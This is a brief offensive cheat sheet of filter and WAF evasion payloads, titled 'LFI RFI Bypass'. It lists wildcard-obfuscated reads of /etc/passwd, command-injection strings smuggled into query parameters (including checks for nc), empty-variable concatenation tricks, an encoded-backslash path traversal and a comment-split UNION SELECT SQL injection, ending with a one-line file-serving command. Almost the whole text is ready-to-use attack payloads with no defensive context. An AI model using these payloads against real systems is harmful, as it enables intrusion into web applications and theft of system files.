**LFI RFI Bypass**

|  |  |
| --- | --- |
| wildcard method | Standard: /bin/cat /etc/passwd  Evasion: /???/??t /???/??ss?? |
| concatenate strings method | $curl -s "http://test1.unicresit.it/?zzz=;+which+ls" $ curl -s "http://test1.unicresit.it/?zzz=;+which+nc" |
| uninitialized variable concatenate methods | echo "uninitialized\_variable=$uninitialized\_variable"  $u = $uninitialized\_variable  cat$u /etc$u/passwd$u  file.php/?host=www.google.com;ls+/  file.php/?host=www.google.com;cat+/etc$u/passwd$u |
| URL ENCODE backslash | GIVES 404 - https://abc.redact.com/static/\..\..\/ GIVES blank page etc. https://abc.redact.com/static/%5c..%5c..%5c/ |

**SQL bypass**

|  |  |
| --- | --- |
| Comment method: | /?id=1+un/\*\*/ion+sel/\*\*/ect+1,2,3-- |
|  |  |
|  |  |
|  |  |
|  |  |

**Python File sharing -> python3 -m http.server 8080**